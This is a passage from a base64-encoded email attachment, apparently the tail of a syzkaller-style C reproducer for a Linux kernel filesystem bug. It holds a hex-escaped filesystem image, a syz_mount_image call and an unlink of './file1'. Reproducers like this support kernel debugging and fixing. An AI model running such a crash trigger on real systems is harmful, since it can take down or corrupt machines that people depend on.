MjNceGUzXHhkZFx4ZjVceDc2XHg1MVx4N2RceGU2XHg3Zlx4YWVceGZhXHhkY1x4N2ZceDIx XHg2Zlx4ZTdceDQxXHhkNlx4YjNceDkyXHhmNVx4YjRceGIyXHg5Y1x4ZGJceGQ1XHg3N1x4 MDFceDlkXHg0Zlx4ZmRceDhkXHhlZFx4YWRceGI5XHhkNlx4ZjZceGQ2XHhkY1x4ZmRceDcy XHgzOVx4ZDhceGVmXHg3N1x4ZmVceDc5XHhhMlx4MzBceGFhXHgxZVx4ZDNceGY5XHhlZVx4 ZTFceGYwXHg5MVx4YWZceDU2XHg3Ylx4MzRceDczXHgyN1x4MmJceGQ1XHg5Nlx4ZWJceGI5 XHg5NVx4MzdceGQzXHhjYVx4ZWRceDM0XHhhYVx4MjNceDRiXHg1N1x4YmJceGYxXHgxY1x4 MWVceGQ3XHhjZlx4Y2JceDk4XHg4YVx4NmZceGQ3XHhmYVx4OGNceGVjXHg3Nlx4NWRceDk2 XHgzM1x4N2ZceGJmXHgyZVx4MGZceDc4XHhlZlx4NDRceDkzXHgzZFx4Y2FceDA5XHhiZlx4 NGNceDk5XHhhOFx4MzJceDcyXHg2ZVx4MzdceDIzXHhkM1x4NzVceDZjXHg2NVx4MzZceDll XHgzOVx4M2VceDEzXHgyN1x4M2NceDNiXHhmYlx4NDdceDlhXHg0OVx4NjNceDM3XHhkOFx4 Y2JceGZiXHg0Nlx4ZGFceDM3XHg4OVx4Y2ZceDk1XHhmM1x4OGJceDc1XHg1OVx4Y2VceGU3 XHgzN1x4NDdceGU1XHg3Y1x4MjBceGY2XHg2N1x4NjJceGI2XHhlN1x4ZDlceGY3XHhkY1x4 ZjFceDM5XHg0Zlx4YmVceGYyXHhhN1x4ZGZceGZmXHhlOFx4NmVceGViXHhjMVx4YmRceGJi XHg3N1x4ZDZceGE2XHg4Nlx4NjdceDRhXHhmZFx4MTlceGE5XHhjYlx4NzZceDc3XHhjM1x4 ZmVceDRjXHhjY1x4ZjVceDY0XHhlMlx4ZjlceDJmXHg3Mlx4MjZceDBlXHg5OFx4YWVceDMy XHg3MVx4NjVceDc3XHg3ZFx4MzFceGRmXHhjZlx4MGZceDMzXHg5NVx4YzlceGJjXHg5Nlx4 ZDVceGFjXHhlNFx4MjdceDU5XHhjYVx4N2FceDk2XHgzM1x4OTlceGVmXHg1NVx4YjVceGE1 XHhmYVx4ZjlceDVjXHhmNFx4NWNceGYyXHg0N1x4NjRceGVhXHhlNlx4MjNceDZiXHhhZlx4 N2RceDU2XHgyNFx4NjNceGY1XHg3OVx4ZTlceDljXHhhY1x4OTNceGM1XHhmNFx4NzJceDc1 XHhlY1x4NzhceDU2XHhmMlx4ODNceGJjXHg5OVx4ZGJceDU5XHhjZVx4MmJceGQ1XHhiZlx4 ZDlceGNjXHhlNFx4MWJceDk5XHhjZlx4N2NceDE2XHg3YVx4Y2VceGYwXHg5NVx4M2VceDVl XHg2OVx4MWJceDQ3XHg1Y1x4ZjVceGVkXHhmZlx4M2ZceDM0XHhmOFx4NmJceDVmXHhhZFx4 MmJceGNkXHgyNFx4YmZceGFkXHhjYlx4ZTFceDUwXHhlNlx4ZjVceDk5XHg5ZVx4YmNceGY2 XHhiZVx4ZTZceDRlXHg1NFx4NmRceGJkXHg1Ylx4ZjZceGIyXHg3NFx4ZTlceGY0XHhlZlx4 NDdceGEzXHg1Zlx4YWFceDJiXHhlNVx4MThceGJmXHhhY1x4Y2JceGUxXHhiMFx4M2ZceDEz XHgzM1x4M2RceDk5XHg3OFx4ZjZceGY4XHg0Y1x4ZmNceGFlXHg3YVx4NTlceDU5XHg2Ylx4 M2RceGI4XHhiN1x4N2FceDc3XHhlOVx4YWRceGZlXHg4Nlx4YmJceGY0XHg3ZVx4NWRceDI5 XHhhZlx4YTNceDVmXHgwZlx4ZDVceDVkXHhhMlx4N2NceGJlXHg1Y1x4MmFceDRmXHg1Nlx4 YjVceGY2XHhlOFx4YjNceGEzXHg2Y1x4N2JceGY2XHhkMFx4YjZceDk5XHhhYVx4ZWRceGYy XHg2ZVx4NWJceGUzXHg0MFx4ZGJceDk1XHhkZFx4YjZceGNlXHg5NVx4YmFceDc5XHhlNFx4 OTVceDNhXHg1Nlx4YmZceDg3XHgzYlx4ZDhceGQzXHg2Y1x4ZDVceGY2XHhmY1x4YTFceDZk XHg3M1x4NTVceGRiXHhkNVx4OWVceGI2XHhjM1x4ZGVceDZmXHgwMVx4MzBceGY0XHgyZVx4 N2VceGVkXHhlMlx4NThceGYzXHgxZlx4Y2RceGJmXHgzNlx4M2ZceDZjXHhmZVx4YWFceDc5 XHhiN1x4ZjlceGVhXHg4NVx4ZWZceDllXHhmZlx4ZTZceGY5XHgxN1x4YzdceDcyXHhlZVx4 Y2ZceGU3XHhiZVx4MzVceDNhXHgzZFx4ZjJceGU1XHhjNlx4OGJceGM1XHgxZlx4ZjNceDYx XHg3ZVx4YjZceGY3XHhmOVx4MWZceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4ZjhceGZjXHhkNlx4ZGVceDc5XHhmN1x4ZGVceDUyXHhhYlx4YjVceGJjXHhiYVx4 YWZceGQyXHg2ZVx4YjdceGRmXHgzYlx4YTJceGU5XHgwY1x4MmJceDdmXHgzOFx4ZWRceDBl XHhiYlx4M2ZceDY3XHg3Nlx4ODZceGIzXHg3OFx4ZTFceGE5XHg2NFx4OTBceDM5XHgxY1x4 OGVceGNhXHhiZlx4ZGJceGVkXHg3Nlx4YmRceGE1XHgxOFx4ODZceDc4XHg4ZVx4YWZceGI0 XHg2Ylx4YTdceGRhXHhmM1x4ZGZceGViXHhkZlx4M2ZceDFiXHg4Nlx4MDlceGY2XHg1MVx4 MTlceGU0XHhhYlx4MTJceDcwXHgxNlx4NmVceGFjXHhkZlx4N2ZceGViXHhjNlx4ZGFceDNi XHhlZlx4N2VceDdkXHhlNVx4ZmVceGQyXHgxYlx4Y2JceDZmXHgyY1x4M2ZceDU4XHg5OFx4 OWZceDVmXHg5OFx4NWVceDk4XHg3Zlx4NjVceGVlXHhjNlx4OWRceDk1XHhkNlx4ZjJceDc0 XHhlN1x4NzFceGQwXHg1MVx4MDJceDhmXHhjM1x4ZGVceDRkXHg3Zlx4ZDBceDkxXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4ZmRceDNhXHg4Ylx4M2ZceDI3 XHgxOFx4ZjRceDFjXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHg4MFx4MjdceGRiXHhlMlx4NTRceDQ2XHgxZlx4YTZceGM4XHhjY1x4ZjRceGY1 XHhlOVx4NzJceDdkXHg3Ylx4NmJceGFlXHg1NVx4MmVceGRkXHhmYVx4ZGVceDllXHhhM1x4 NDlceDFhXHg0OVx4OGFceDlmXHgyNlx4YzVceDQ3XHhjOVx4Y2RceDc0XHg5Nlx4NGNceGY0 XHg3NFx4NTdceDFjXHgzNVx4Y2VceDA3XHgyYlx4MGJceGFmXHg3Zlx4ZmNceGU5XHhmNlx4 MjdceDdiXHg3ZFx4OGRceDc2XHhmN1x4NmZceDFjXHg3N1x4NWNceDdmXHgzNlx4ZWJceDI1 XHg5M1x4NDlceDQ2XHhlYVx4ZjJceGI0XHhmYVx4YmJceGY1XHg1Zlx4ZjdceDU3XHhlY1x4 Y2VceGIwXHg0Y1x4ZDhceGI1XHg2ZVx4ZTJceDYwXHhkMFx4ZmVceDEzXHgwMFx4MDBceGZm XHhmZlx4YWFceDdiXHgxMFx4YWUiLCAxNjA2KTsNCnN5el9tb3VudF9pbWFnZSgvKmZzPSov MHg0MDAwMDAwMDA2MDAsIC8qZGlyPSovMHg0MDAwMDAwMDAyMDAsIC8qZmxhZ3M9TVNfUE9T SVhBQ0x8TVNfU1lOQ0hST05PVVN8TVNfTk9BVElNRSovMHgxMDQxMCwgLypvcHRzPSovMHg0 MDAwMDAwMDAxNDAsIC8qY2hkaXI9Ki8xLCAvKnNpemU9Ki8weDY0NiwgLyppbWc9Ki8weDQw MDAwMDAwMDY0MCk7DQptZW1jcHkoKHZvaWQqKTB4NDAwMDAwMDAwMTQwLCAiLi9maWxlMVww MDAiLCA4KTsNCglzeXNjYWxsKF9fTlJfdW5saW5rLCAvKnBhdGg9Ki8weDQwMDAwMDAwMDE0 MHVsKTsNCglyZXR1cm4gMDsNCn0NCg== ------=_NextPart_67FD1176_121BC7B8_06EEDBB9--